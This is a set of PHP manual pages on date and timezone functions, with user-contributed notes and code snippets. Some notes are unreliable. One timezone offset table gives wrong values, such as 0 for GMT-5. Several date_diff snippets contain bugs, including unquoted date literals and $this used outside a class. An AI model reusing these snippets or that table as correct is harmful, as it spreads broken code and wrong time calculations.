date_default_timezone_get — Gets the default timezone used by all date/time functions in a script

Description

string date_default_timezone_get ( void )

In order of preference, this function returns the default timezone by:

  • Reading the timezone set using the date_default_timezone_set() function (if any)

  • Prior to PHP 5.4.0 only: Reading the TZ environment variable (if non empty)

  • Reading the value of the date.timezone ini option (if set)

  • Prior to PHP 5.4.0 only: Querying the host operating system (if supported and allowed by the OS). This uses an algorithm that has to guess the timezone. This is by no means going to work correctly for every situation. A warning is shown when this stage is reached. Do not rely on it to be guessed correctly, and set date.timezone to the correct timezone instead.

If none of the above succeed, date_default_timezone_get() will return a default timezone of UTC.

Return Values

Returns a string.

Changelog

Version | Description
5.4.0 | The TZ environment variable is no longer used to guess the timezone.
5.4.0 | The timezone is no longer guessed from information available through the operating system as the guessed timezone can not be relied on.

Examples

Example #1 Getting the default timezone

<?php
date_default_timezone_set('Europe/London');

if (date_default_timezone_get()) {
    echo 'date_default_timezone_set: ' . date_default_timezone_get() . '<br />';
}

if (ini_get('date.timezone')) {
    echo 'date.timezone: ' . ini_get('date.timezone');
}

?>

The above example will output something similar to:

date_default_timezone_set: Europe/London
date.timezone: Europe/London

Example #2 Getting the abbreviation of a timezone

<?php
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get() . ' => ' . date('e') . ' => ' . date('T');
?>

The above example will output:

America/Los_Angeles => America/Los_Angeles => PST

See Also

  • date_default_timezone_set() - Sets the default timezone used by all date/time functions in a script
  • List of Supported Timezones

User Contributed Notes

glennpratt+php at gmail dot com 19-May-2011 01:30
In my case, I'm not sure I can guess the correct timezone any better than PHP and it's no where near important enough to nag the user, so...

<?php
// Suppress DateTime warnings
date_default_timezone_set(@date_default_timezone_get());
?>
harmor 28-Feb-2008 08:19
If you want to get the abbrivation (3 or 4 letter), instead of the long timezone string you can use date('T') function like this:

Input:
date_default_timezone_set('America/Los_Angeles');
echo date_default_timezone_get();
echo ' => '.date('e');
echo ' => '.date('T');

Output:
America/Los_Angeles => America/Los_Angeles => PST
dohpaz at gmail dot com 20-Apr-2007 02:58
date_default_timezone_get() will still emit a warning in E_STRICT if the timezone is not set; either by date_default_timezone_set() or the ini option of date.timezone.

This is probably not a big deal, but I thought I would contribute what I found.
date_date_set
date_default_timezone_set
Date/Time Functions


Sets the default timezone used by all date/time functions in a script

date_default_timezone_get
date_diff
Date/Time Functions
PHP Manual

date_default_timezone_set

(PHP 5 >= 5.1.0)

date_default_timezone_set — Sets the default timezone used by all date/time functions in a script

Description

bool date_default_timezone_set ( string $timezone_identifier )

date_default_timezone_set() sets the default timezone used by all date/time functions.

Note:

Since PHP 5.1.0 (when the date/time functions were rewritten), every call to a date/time function will generate a E_NOTICE if the timezone isn't valid, and/or a E_WARNING message if using the system settings or the TZ environment variable.

Instead of using this function to set the default timezone in your script, you can also use the INI setting date.timezone to set the default timezone.

Parameters

timezone_identifier

The timezone identifier, like UTC or Europe/Lisbon. The list of valid identifiers is available in the List of Supported Timezones.

Return Values

This function returns FALSE if the timezone_identifier isn't valid, or TRUE otherwise.

Examples

Example #1 Getting the default timezone

<?php
date_default_timezone_set('America/Los_Angeles');

$script_tz = date_default_timezone_get();

if (strcmp($script_tz, ini_get('date.timezone'))){
    echo 'Script timezone differs from ini-set timezone.';
} else {
    echo 'Script timezone and ini-set timezone match.';
}
?>

Changelog

Version | Description
5.3.0 | Now throws E_WARNING rather than E_STRICT.
5.1.2 | The function started to validate the timezone_identifier parameter.

See Also

  • date_default_timezone_get() - Gets the default timezone used by all date/time functions in a script
  • List of Supported Timezones

User Contributed Notes

power2all at gmail dot com 01-Feb-2011 08:30
After poundering and knocking my head on the table, I finally got a proper fix for Windows and PHP timezone handling.

Since Windows applies the DST to ActiveTimeBias in the registry, you only need this to apply.
The only problem is, that it cant use the timezone_set command.

You can request a response back in any date-format you wish, or use the default one given in the function itself.

<?php

// Return proper time
function time_zone_fix($timeGiven = "H:i:s")
{
    $shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
    $time_bias = -($shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\
CurrentControlSet\\Control\\TimeZoneInformation\\
ActiveTimeBias")) / 60;
    $timestamp_bias = 60 * 60 * $time_bias;
    echo $time_bias . "<br />";
    return gmdate($timeGiven, strtotime($timestamp_bias . " seconds"));
}
?>
Anonymous 20-Nov-2010 01:58
People complaining that there's no way to set the offset - you are wrong. You can easily set the offset from GMT (see "Other" in available zones). And since all zones are offset from GMT it's just easy math with + or - to get that. So if you i.e. want the offset not from GMT but your timezone, then compute offset of your zone from GMT (say if you in Berlin its +1 now (mind summer time!)) and then offset for your target zone (i.e NYC is -5) then sum abs! of these values and set the sign of bigger (abs) value -> total offset from your european zone to NYC is then abs(-5)+abs(1) = 6 and set "-" as NYC zone absolute value is bigger. So whatever time is in Berlin, in NYC it's 6hrs earlier. But it's better to do two step calculation and calculate always from GMT
steve at pozzie dot net 11-Oct-2010 01:35
Most of the scripts here depend on PHP identifying the correct zone when one is not set, but that does not always happen.

For example PHP 5.3.3 gives a 'UTC' result for a detected '8.0/no DST'. Not much help.

So for those of us who for very good reasons really cannot set time zones in scripts of in .ini files, here is a function
for use in a Windows environment that sets the default time zone to the OS time zone and returns the detected and set texts.

<?php
function date_system_timezone_set(){
  $shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
  $time_bias = -($shell->RegRead(
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control
\\TimeZoneInformation\\Bias"))/60;
  $ab = -($shell->RegRead(
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control
\\TimeZoneInformation\\ActiveTimeBias"))/60;
  $sc = $shell->RegRead(
"HKEY_USERS\\.DEFAULT\\Control Panel\\International\\sCountry");
  foreach(timezone_abbreviations_list() as $tza) foreach($tza as $entry){
    $country = strtok($entry['timezone_id'],'/');
    $locale = strtok('|');
    if($country==$sc && $ab==($entry['offset']/60/60) && ($ds = $time_bias!=$ab)==$entry['dst']){
      date_default_timezone_set($timezone_identifier = $country."/".$locale);
      return sprintf('%.1f',$ab)."/".($ds?'':'no ').'DST'." ".$timezone_identifier;
     }
   }
  return false;
 }
?>
Tom S 11-Sep-2010 06:22
This is a good script if you know or control your system so that you know that the local TZ in your OS is correct. Unfortunately, this script still creates an warning message under BSD UNIX.

To fix this, just add an "@" in front of "localtime" as:

$arr = @localtime($iTime);
Dane Iracleous 21-Jul-2010 01:48
Here is some useful code to set the default timezone to the user's local timezone.

<?php
function getLocalTimezone()
{
    $iTime = time();
    $arr = localtime($iTime);
    $arr[5] += 1900;
    $arr[4]++;
    $iTztime = gmmktime($arr[2], $arr[1], $arr[0], $arr[4], $arr[3], $arr[5], $arr[8]);
    $offset = doubleval(($iTztime-$iTime)/(60*60));
    $zonelist =
    array
    (
        'Kwajalein' => -12.00,
        'Pacific/Midway' => -11.00,
        'Pacific/Honolulu' => -10.00,
        'America/Anchorage' => -9.00,
        'America/Los_Angeles' => -8.00,
        'America/Denver' => -7.00,
        'America/Tegucigalpa' => -6.00,
        'America/New_York' => -5.00,
        'America/Caracas' => -4.30,
        'America/Halifax' => -4.00,
        'America/St_Johns' => -3.30,
        'America/Argentina/Buenos_Aires' => -3.00,
        'America/Sao_Paulo' => -3.00,
        'Atlantic/South_Georgia' => -2.00,
        'Atlantic/Azores' => -1.00,
        'Europe/Dublin' => 0,
        'Europe/Belgrade' => 1.00,
        'Europe/Minsk' => 2.00,
        'Asia/Kuwait' => 3.00,
        'Asia/Tehran' => 3.30,
        'Asia/Muscat' => 4.00,
        'Asia/Yekaterinburg' => 5.00,
        'Asia/Kolkata' => 5.30,
        'Asia/Katmandu' => 5.45,
        'Asia/Dhaka' => 6.00,
        'Asia/Rangoon' => 6.30,
        'Asia/Krasnoyarsk' => 7.00,
        'Asia/Brunei' => 8.00,
        'Asia/Seoul' => 9.00,
        'Australia/Darwin' => 9.30,
        'Australia/Canberra' => 10.00,
        'Asia/Magadan' => 11.00,
        'Pacific/Fiji' => 12.00,
        'Pacific/Tongatapu' => 13.00
    );
    $index = array_keys($zonelist, $offset);
    if(sizeof($index)!=1)
        return false;
    return $index[0];
}

date_default_timezone_set(getLocalTimezone());
?>
Frederick Hathaway 04-Mar-2010 08:54
It's really a hassle that there is no way to set the timezone offset. I attempted to use the code that searched for the correct timezone name by offset from below. I found it didn't work reliably since various cities may have different rules about time DST etc. My solution is to actually search the array and do a test to insure the offset is what I expect it to be. It seems very kludgey (if thats a word) but it works.

<?php
function setTimezoneByOffset($offset)
    {
      $testTimestamp = time();
        date_default_timezone_set('UTC');
        $testLocaltime = localtime($testTimestamp,true);
        $testHour = $testLocaltime['tm_hour'];

    $abbrarray = timezone_abbreviations_list();
    foreach ($abbrarray as $abbr)
    {
        //echo $abbr."<br>";
      foreach ($abbr as $city)
      {
                date_default_timezone_set($city['timezone_id']);
                $testLocaltime     = localtime($testTimestamp,true);
                $hour                     = $testLocaltime['tm_hour'];
                $testOffset =  $hour - $testHour;
                if($testOffset == $offset)
                {
                    return true;
                }
      }
    }
    return false;
    }
?>
Christopher Kramer 09-Jan-2010 07:52
I experienced that using this function highly increases performance of functions like getdate() or date() using PHP 5.2.6 on Windows.
I experienced similar results on Linux servers with PHP 5.2.6 and 5.2.10, although the difference was not that significant on these servers: The PHP 5.2.10 server did run with date_default_timezone_set ("only") twice as fast as without. The 5.2.6 server did 5 times faster with date_default_timezone_set. As you can see below, the 5.2.6-Windows machine did a LOT faster.
Of course these machines have completely different hardware and can not really be compared, but all show improved performance.

I checked PHP 4.4.9 on Windows (without date_default_timezone_set of course) and noticed that its as fast as PHP 5.2.6 with date_default_timezone_set.

The following script shows this:

<?php

# uncomment to see difference
# date_default_timezone_set(date_default_timezone_get());

function getmicrotime()
 {
 list($usec, $sec) = explode(' ',microtime());
 return ($sec.substr($usec,1,7));
 }

$start=mktime(0,0,0,1,1,2005);
$end=mktime(0,0,0,1,1,2020);
$nr=50000;

$start_time=getmicrotime();
for($i=0;$i<$nr;$i++) {
# $value=getdate(rand($start,$end));
  date("H:i:s d.m.Y",rand($start,$end));
}
$end_time=getmicrotime();

echo "Time: ".($end_time-$start_time);

// With date_default_timezone_set(): "Time: 0.379343986511"
// Without date_default_timezone_set(): "Time: 7.4971370697"

?>

Note that the timezone is not changed, it is only set again. I really wonder why this makes such a big performance difference, but its good to know.
ted dot chou12 at gmail dot com 02-Dec-2008 11:13
Timezone using other approaches:
<?php $datetime = strtotime($originaldatetime) + $time;
$datetime = date('M d, Y h:i A', $datetime);?>

$time obtained from table below:
-25200|International Date Line (West) GMT-12|
-21600|Midway Island, Samoa GMT-11|
-18000|Hawaii, Honolulu GMT-10|
-14400|Alaska GMT-9|
-10800|Pacific Standard Time, US, Canada GMT-8|
-7200|British Columbia N.E., Santa Fe, Mountain Time GMT-7|
-3600|Central America, Chicago, Guatamala, Mexico City GMT-6|
0|US, Canada, Bogota, Boston, New York GMT-5|
+3600|Canada, Santiago, Atlantic Standard Time GMT-4|
+7200|Brazilia, Buenos Aires, Georgetown, Greenland GMT-3|
+10800|Mid-Atlantic GMT-2|
+14400|Azores, Cape Verde Is., Western Africa Time GMT-1|
+18000|London, Iceland, Ireland, Morocco, Portugal GMT|
+21600|Amsterdam, Berlin, Bern, Madrid, Paris, Rome, GMT+1|
+25200|Athens, Cairo, Cape Town, Finland, Greece, Israel GMT+2|
+28800|Ankara, Aden, Baghdad, Beruit, Kuwait, Moscow GMT+3|
+32400|Abu Dhabi, Baku, Kabul, Tehran, Tbilisi, Volgograd GMT+4|
+36000|Calcutta, Colombo, Islamabad, Madras, New Dehli GMT+5|
+39600|Almaty, Dhakar, Kathmandu, Colombo, Sri Lanka GMT+6|
+43200|Bangkok, Hanoi, Jakarta, Phnom Penh, Australia GMT+7|
+46800|Taipei, Beijing, Hong Kong, Singapore, GMT+8|
+50400|Seoul, Tokyo, Central Australia GMT+9|
+54000|Brisbane, Canberra, Guam, Melbourne, Sydney, GMT+10|
+57600|Magadan, New Caledonia, Solomon Is. GMT+11|
+61200|Auckland, Fiji, Kamchatka, Marshall, Wellington, GMT+12|
jason at jasonpriem dot com 11-Nov-2008 08:29
While it's easy to change timezones based on names or abbreviations, I haven't found any straightforward way of doing so using an offset integer.  This situation comes up if you're using AJAX to get information about a user's timezone; javascript's getTimezoneOffset() method just sends you an offset number. So, here's my clunky solution: an adaptation of chris' function at http://us.php.net/manual/en/function.timezone-name-from-abbr.php.

<?php
    function set_tz_by_offset($offset) {
        $offset = $offset*60*60;
        $abbrarray = timezone_abbreviations_list();
        foreach ($abbrarray as $abbr) {
            //echo $abbr."<br>";
                foreach ($abbr as $city) {
                    //echo $city['offset']." $offset<br>";
                        if ($city['offset'] == $offset) { // remember to multiply $offset by -1 if you're getting it from js
                               date_default_timezone_set($city['timezone_id']);
                               return true;
                        }
                }
        }
    date_default_timezone_set("ust");
       return false;
       }

set_tz_by_offset(-1);

?>

[EDIT BY thiago AT php DOT net: This code has contributions from iateadonut at gmail dot com]
Anonymous 27-Sep-2008 10:34
If you have problems with errors, why the default is not set use this on the top of the script:

<?php
if(function_exists("date_default_timezone_set") and function_exists("date_default_timezone_get"))
@date_default_timezone_set(@date_default_timezone_get());
?>
Rob Kaper 15-Jul-2008 01:46
If you want users to choose their own timezones, here's some code that gets all available timezones but only uses one city for each possible value:

<?php

$timezones = DateTimeZone::listAbbreviations();

$cities = array();
foreach( $timezones as $key => $zones )
{
    foreach( $zones as $id => $zone )
    {
        /**
         * Only get timezones explicitely not part of "Others".
         * @see http://www.php.net/manual/en/timezones.others.php
         */
        if ( preg_match( '/^(America|Antartica|Arctic|Asia|Atlantic|Europe|Indian|Pacific)\//', $zone['timezone_id'] ) )
            $cities[$zone['timezone_id']][] = $key;
    }
}

// For each city, have a comma separated list of all possible timezones for that city.
foreach( $cities as $key => $value )
    $cities[$key] = join( ', ', $value);

// Only keep one city (the first and also most important) for each set of possibilities.
$cities = array_unique( $cities );

// Sort by area/city name.
ksort( $cities );

?>
PeerGoal.com 12-Feb-2007 04:21
The problem:

date() [function.date]: It is not safe to rely on the system's timezone settings. Please use the date.timezone setting, the TZ environment variable or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Los_Angeles' for 'PST/-8.0/no DST' instead

Of course this is a problem that recently surfaced since PHP5. Quick fix is to set your time zone, add this line to your php code:

date_default_timezone_set("America/Los_Angeles");
davidn at datalinktech dot com dot au 21-Dec-2006 05:27
Note that there may be some unexpected side-effects that result from using either set_default_timezone() or the putenv("TZ=...") workalike for earlier PHP versions.  ANY date formatted and output either by PHP or its apache host process will be unconditionally expressed in that timezone.

[red. That is only true for the putenv() hack - Derick]

This does indeed include the web server's logs and other output files and reports which by default usually do not include any indication of timezone. This has a further side-effect on log processing and analysis, obviously.
date_default_timezone_get
date_diff
Date/Time Functions


Alias of DateTime::diff

date_default_timezone_set
date_format
Date/Time Functions
PHP Manual

date_diff

(PHP 5 >= 5.3.0)

date_diff — Alias of DateTime::diff()

Description

This function is an alias of: DateTime::diff()

User Contributed Notes

Toine (contact at toine dot pro) 26-Aug-2011 07:22
This is a very simple function to calculate the difference between two timestamp values.
<?php
function diff($start,$end = false) {
    /*
    * For this function, i have used the native functions of PHP. It calculates the difference between two timestamp.
    *
    * Author: Toine
    *
    * I provide more details and more function on my website
    */

    // Checks $start and $end format (timestamp only for more simplicity and portability)
    if(!$end) { $end = time(); }
    if(!is_numeric($start) || !is_numeric($end)) { return false; }
    // Convert $start and $end into EN format (ISO 8601)
    $start  = date('Y-m-d H:i:s',$start);
    $end    = date('Y-m-d H:i:s',$end);
    $d_start    = new DateTime($start);
    $d_end      = new DateTime($end);
    $diff = $d_start->diff($d_end);
    // return all data
    $this->year    = $diff->format('%y');
    $this->month    = $diff->format('%m');
    $this->day      = $diff->format('%d');
    $this->hour     = $diff->format('%h');
    $this->min      = $diff->format('%i');
    $this->sec      = $diff->format('%s');
    return true;
}

/*
 * How use it?
 *
 * Call your php class (myClass for this example) and use the function :
*/
$start  = strtotime('1985/02/09 13:54:17');
$end    = strtotime('2012/12/12 17:30:21');
$myClass = new myClass();
$myClass->Diff($start,$end);
// Display result
echo 'Year: '.$myClass->Year;
echo '<br />Month: '.$myClass->Month;
echo '<br />Day: '.$myClass->Day;
echo '<br />Hour: '.$myClass->Hour;
echo '<br />Min: '.$myClass->Min;
echo '<br />Sec: '.$myClass->Sec;
// Display only month for all duration
$month = ($myClass->Year * 12) + $myClass->Month;
echo '<br />Total month: '.$month;
// if you want you can use this function without $end value :
$myClass->Diff($start);
// Automatically the end is the current timestamp
?>
vglebov at gmail dot com 25-May-2011 11:59
Get the difference between the dates without days off

<?php
function get_date_diff($date1, $date2) {
  $holidays = 0;
  for ($day = $date2; $day < $date1; $day += 24 * 3600) {
    $day_of_week = date('N', $day);
    if($day_of_week > 5) {
      $holidays++;
    }
  }
  return $date1 - $date2 - $holidays * 24 * 3600;
}

function test_get_date_diff()
{
  $datas = array(
    array('Fri 20 May 2011 14:00:00', 'Fri 20 May 2011 13:00:00', 1 * 3600),
    array('Sat 21 May 2011 15:00:00', 'Fri 20 May 2011 13:00:00', 2 * 3600),
    array('Sun 22 May 2011 16:00:00', 'Fri 20 May 2011 13:00:00', 3 * 3600),
    array('Mon 23 May 2011 14:00:00', 'Fri 20 May 2011 13:00:00', 25 * 3600),
    array('Fri 27 May 2011 13:00:00', 'Fri 13 May 2011 13:00:00', 24 * 10 * 3600),
  );
  foreach ($datas as &$data) {
    $actual = get_date_diff(strtotime($data[0]), strtotime($data[1]));
    if ($actual != $data[2]) {
      echo "Test for get_date_diff faled expected {$data[2]} but was {$actual}, date1: {$data[0]}, date2: {$data[1]}.<br>";
    }
  }
}
test_get_date_diff($data);
?>
alessandro dot faustini at nixylab dot it 03-Feb-2011 10:08
In versions < 5.3.0 I simply use this form for calculate the number of days

<?php
$today = strtotime("2011-02-03 00:00:00");
$myBirthDate = strtotime("1964-10-30 00:00:00");
printf("I'm %d days old.", round(abs($today-$myBirthDate)/60/60/24));
?>
kshegunov at gmail dot com 10-Jan-2011 09:26
Here is how I solved the problem of missing date_diff function with php versions below 5.3.0
The function accepts two dates in string format (recognized by strtotime() hopefully), and returns the date difference in an array with the years as first element, respectively months as second, and days as last element.
It should be working in all cases, and seems to behave properly when moving through February.

<?php
        function dateDifference($startDate, $endDate)
        {
            $startDate = strtotime($startDate);
            $endDate = strtotime($endDate);
            if ($startDate === false || $startDate < 0 || $endDate === false || $endDate < 0 || $startDate > $endDate)
                return false;

            $years = date('Y', $endDate) - date('Y', $startDate);

            $endMonth = date('m', $endDate);
            $startMonth = date('m', $startDate);

            // Calculate months
            $months = $endMonth - $startMonth;
            if ($months <= 0)  {
                $months += 12;
                $years--;
            }
            if ($years < 0)
                return false;

            // Calculate the days
                        $offsets = array();
                        if ($years > 0)
                            $offsets[] = $years . (($years == 1) ? ' year' : ' years');
                        if ($months > 0)
                            $offsets[] = $months . (($months == 1) ? ' month' : ' months');
                        $offsets = count($offsets) > 0 ? '+' . implode(' ', $offsets) : 'now';

                        $days = $endDate - strtotime($offsets, $startDate);
                        $days = date('z', $days);

            return array($years, $months, $days);
        }
?>
Sven Obser 16-Sep-2010 12:40
Here is an incomplete workaround for PHP < 5.3.0
<?php
/**
 * Workaround for PHP < 5.3.0
 */
if(!function_exists('date_diff')) {
    class DateInterval {
        public $y;
        public $m;
        public $d;
        public $h;
        public $i;
        public $s;
        public $invert;

        public function format($format) {
            $format = str_replace('%R%y', ($this->invert ? '-' : '+') . $this->y, $format);
            $format = str_replace('%R%m', ($this->invert ? '-' : '+') . $this->m, $format);
            $format = str_replace('%R%d', ($this->invert ? '-' : '+') . $this->d, $format);
            $format = str_replace('%R%h', ($this->invert ? '-' : '+') . $this->h, $format);
            $format = str_replace('%R%i', ($this->invert ? '-' : '+') . $this->i, $format);
            $format = str_replace('%R%s', ($this->invert ? '-' : '+') . $this->s, $format);

            $format = str_replace('%y', $this->y, $format);
            $format = str_replace('%m', $this->m, $format);
            $format = str_replace('%d', $this->d, $format);
            $format = str_replace('%h', $this->h, $format);
            $format = str_replace('%i', $this->i, $format);
            $format = str_replace('%s', $this->s, $format);

            return $format;
        }
    }

    function date_diff(DateTime $date1, DateTime $date2) {
        $diff = new DateInterval();
        if($date1 > $date2) {
            $tmp = $date1;
            $date1 = $date2;
            $date2 = $tmp;
            $diff->invert = true;
        }

        $diff->y = ((int) $date2->format('Y')) - ((int) $date1->format('Y'));
        $diff->m = ((int) $date2->format('n')) - ((int) $date1->format('n'));
        if($diff->m < 0) {
            $diff->y -= 1;
            $diff->m = $diff->m + 12;
        }
        $diff->d = ((int) $date2->format('j')) - ((int) $date1->format('j'));
        if($diff->d < 0) {
            $diff->m -= 1;
            $diff->d = $diff->d + ((int) $date1->format('t'));
        }
        $diff->h = ((int) $date2->format('G')) - ((int) $date1->format('G'));
        if($diff->h < 0) {
            $diff->d -= 1;
            $diff->h = $diff->h + 24;
        }
        $diff->i = ((int) $date2->format('i')) - ((int) $date1->format('i'));
        if($diff->i < 0) {
            $diff->h -= 1;
            $diff->i = $diff->i + 60;
        }
        $diff->s = ((int) $date2->format('s')) - ((int) $date1->format('s'));
        if($diff->s < 0) {
            $diff->i -= 1;
            $diff->s = $diff->s + 60;
        }

        return $diff;
    }
}
?>
Sergio Abreu 26-Jun-2010 07:22
<?php
/*
 * A mathematical decimal difference between two informed dates
 *
 * Author: Sergio Abreu
 * Website: http://sites.sitesbr.net
 *
 * Features:
 * Automatic conversion on dates informed as string.
 * Possibility of absolute values (always +) or relative (-/+)
*/

function s_datediff( $str_interval, $dt_menor, $dt_maior, $relative=false){

       if( is_string( $dt_menor)) $dt_menor = date_create( $dt_menor);
       if( is_string( $dt_maior)) $dt_maior = date_create( $dt_maior);

       $diff = date_diff( $dt_menor, $dt_maior, ! $relative);

       switch( $str_interval){
           case "y":
               $total = $diff->y + $diff->m / 12 + $diff->d / 365.25; break;
           case "m":
               $total= $diff->y * 12 + $diff->m + $diff->d/30 + $diff->h / 24;
               break;
           case "d":
               $total = $diff->y * 365.25 + $diff->m * 30 + $diff->d + $diff->h/24 + $diff->i / 60;
               break;
           case "h":
               $total = ($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h + $diff->i/60;
               break;
           case "i":
               $total = (($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h) * 60 + $diff->i + $diff->s/60;
               break;
           case "s":
               $total = ((($diff->y * 365.25 + $diff->m * 30 + $diff->d) * 24 + $diff->h) * 60 + $diff->i)*60 + $diff->s;
               break;
          }
       if( $diff->invert)
               return -1 * $total;
       else    return $total;
   }

/* Enjoy and feedback me ;-) */
?>
Flavio Tubino 26-May-2010 05:37
This is a very simple function to calculate the difference between two datetime values, returning the result in seconds. To convert to minutes, just divide the result by 60. In hours, by 3600 and so on.

Enjoy.

<?php
function time_diff($dt1,$dt2){
    $y1 = substr($dt1,0,4);
    $m1 = substr($dt1,5,2);
    $d1 = substr($dt1,8,2);
    $h1 = substr($dt1,11,2);
    $i1 = substr($dt1,14,2);
    $s1 = substr($dt1,17,2);

    $y2 = substr($dt2,0,4);
    $m2 = substr($dt2,5,2);
    $d2 = substr($dt2,8,2);
    $h2 = substr($dt2,11,2);
    $i2 = substr($dt2,14,2);
    $s2 = substr($dt2,17,2);

    $r1=date('U',mktime($h1,$i1,$s1,$m1,$d1,$y1));
    $r2=date('U',mktime($h2,$i2,$s2,$m2,$d2,$y2));
    return ($r1-$r2);

}
?>
eugene at ultimatecms dot co dot za 16-Mar-2010 11:58
This function calculates the difference up to the second.

<?php

function date_diff($start, $end="NOW")
{
        $sdate = strtotime($start);
        $edate = strtotime($end);

        $time = $edate - $sdate;
        if($time>=0 && $time<=59) {
                // Seconds
                $timeshift = $time.' seconds ';

        } elseif($time>=60 && $time<=3599) {
                // Minutes + Seconds
                $pmin = ($edate - $sdate) / 60;
                $premin = explode('.', $pmin);

                $presec = $pmin-$premin[0];
                $sec = $presec*60;

                $timeshift = $premin[0].' min '.round($sec,0).' sec ';

        } elseif($time>=3600 && $time<=86399) {
                // Hours + Minutes
                $phour = ($edate - $sdate) / 3600;
                $prehour = explode('.',$phour);

                $premin = $phour-$prehour[0];
                $min = explode('.',$premin*60);

                $presec = '0.'.$min[1];
                $sec = $presec*60;

                $timeshift = $prehour[0].' hrs '.$min[0].' min '.round($sec,0).' sec ';

        } elseif($time>=86400) {
                // Days + Hours + Minutes
                $pday = ($edate - $sdate) / 86400;
                $preday = explode('.',$pday);

                $phour = $pday-$preday[0];
                $prehour = explode('.',$phour*24);

                $premin = ($phour*24)-$prehour[0];
                $min = explode('.',$premin*60);

                $presec = '0.'.$min[1];
                $sec = $presec*60;

                $timeshift = $preday[0].' days '.$prehour[0].' hrs '.$min[0].' min '.round($sec,0).' sec ';

        }
        return $timeshift;
}

// EXAMPLE:

$start_date = 2010-03-15 13:00:00
$end_date = 2010-03-17 09:36:15

echo date_diff($start_date, $end_date);

?>

Returns: 1days 20hours 36min 15sec
Can be taken up to centuries - if you do the calculations.

Hope this finally helps someone! :D
mark at dynom dot nl 02-Jul-2009 05:44
If you simply want to compare two dates, using conditional operators works too:

<?php
$start = new DateTime('08-06-1995 Europe/Copenhagen'); // DD-MM-YYYY
$end = new DateTime('22-11-1968 Europe/Amsterdam');

if ($start < $end) {
    echo "Correct order";
} else {
    echo "Incorrect order, end date is before the starting date";
}
?>
tom at knapp2meter dot tk 16-Apr-2009 08:06
A simple way to get the time lag (format: <hours>.<one-hundredth of one hour>).

Hier ein einfacher Weg zur Bestimmung der Zeitdifferenz (Format: <Stunden>.<hundertstel Stunde>).

<?php

function GetDeltaTime($dtTime1, $dtTime2)
{
  $nUXDate1 = strtotime($dtTime1->format("Y-m-d H:i:s"));
  $nUXDate2 = strtotime($dtTime2->format("Y-m-d H:i:s"));

  $nUXDelta = $nUXDate1 - $nUXDate2;
  $strDeltaTime = "" . $nUXDelta/60/60; // sec -> hour

  $nPos = strpos($strDeltaTime, ".");
  if (nPos !== false)
    $strDeltaTime = substr($strDeltaTime, 0, $nPos + 3);

  return $strDeltaTime;
}

?>
date_default_timezone_set
date_format
Date/Time Functions


Alias of DateTime::format

date_diff
date_get_last_errors
Date/Time Functions
PHP Manual

date_format

(PHP 5 >= 5.2.0)

date_format — Alias of DateTime::format()

Description

This function is an alias of: DateTime::format()

User Contributed Notes

Andrew Gregory 22-Jul-2009 03:52
Requirements: PHP5+

To expand on Matt Walsh's example, a simple way to get eBay, or Amazon, web service timestamps is as follows:

<?php

$current_time = urlEncode(subStr(date("c"), 0, 19)."Z");

?>

In other words, take the date/time of now (in ISO 8601 format), discard the trailing Daylight Savings Time specifier, add a "Z" where the DST was and urlEncode the whole thing to convert the time's colons for REST requests (required for amazon, not sure about eBay).

Another way might be to create your own timestamp:

<?php

$current_time = urlEncode(date("Y-m-d")."T".date("H:i:s")."Z");

?>

This way however takes a little more coding on the line.

As far as performance goes, I'm not sure which may be quicker. I just like things to work and work well, don't much care for how fast they are as long as they get the job done :)

A much simpler way to get the eBay, or Amazon, web service timestamp is as follows:

<?php

$current_date = gmDate("Y-m-d\TH:i:s\Z");

?>

Enjoy!
Mike C 07-Jul-2008 10:23
If you are studying date_format because you want to format a date, consider the power of date(..) !!!!

the mktime article has an example of adding days to a date of your choice and then formatting it:
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997))
where the 32 is like adding 1 day to the 31st .
Matt Walsh 04-May-2007 10:43
The ISO8601 output format doesn't jive with (at least) what eBay expects in its SOAP transactions.  eBay wants a UTC time with a 'Z' suffix.   That is, eBay (and I'm guessing other web services) will accept "2007-05-04T17:01:17Z" but not "2007-05-04T17:01:17+0000".  As it is, the built-in DateTime::ISO8601 format uses the +0000 timezone specifier even when in a UTC timezone.

As a workaround, I do this:

<?php
   function get_ebay_UTC_8601(DateTime $time)
   {  $t = clone $time;
      $t->setTimezone(new DateTimeZone("UTC"));
      return $t->format("Y-m-d\TH:i:s\Z");
   }
?>
date_diff
date_get_last_errors
Date/Time Functions


Alias of DateTime::getLastErrors

date_format
date_interval_create_from_date_string
Date/Time Functions
PHP Manual

date_get_last_errors

(PHP 5 >= 5.3.0)

date_get_last_errors — Alias of DateTime::getLastErrors()

Description

This function is an alias of: DateTime::getLastErrors()

User Contributed Notes

There are no user contributed notes for this page.
date_format
date_interval_create_from_date_string
Date/Time Functions


Alias of DateInterval::createFromDateString

date_get_last_errors
date_interval_format
Date/Time Functions
PHP Manual

date_interval_create_from_date_string

(PHP 5 >= 5.3.0)

date_interval_create_from_date_string — Alias of DateInterval::createFromDateString()

Description

This function is an alias of: DateInterval::createFromDateString()

User Contributed Notes

There are no user contributed notes for this page.
date_get_last_errors
date_interval_format
Date/Time Functions


Alias of DateInterval::format

date_interval_create_from_date_string
date_isodate_set
Date/Time Functions
PHP Manual

date_interval_format

(PHP 5 >= 5.3.0)

date_interval_format — Alias of DateInterval::format()

Description

This function is an alias of: DateInterval::format()

User Contributed Notes

There are no user contributed notes for this page.
date_interval_create_from_date_string
date_isodate_set
Date/Time Functions


Alias of DateTime::setISODate

date_interval_format
date_modify
Date/Time Functions
PHP Manual

date_isodate_set

(PHP 5 >= 5.2.0)

date_isodate_set — Alias of DateTime::setISODate()

Description

This function is an alias of: DateTime::setISODate()

User Contributed Notes

There are no user contributed notes for this page.
date_interval_format
date_modify
Date/Time Functions


Alias of DateTime::modify

date_isodate_set
date_offset_get
Date/Time Functions
PHP Manual

date_modify

(PHP 5 >= 5.2.0)

date_modify — Alias of DateTime::modify()

Description

This function is an alias of: DateTime::modify()

User Contributed Notes

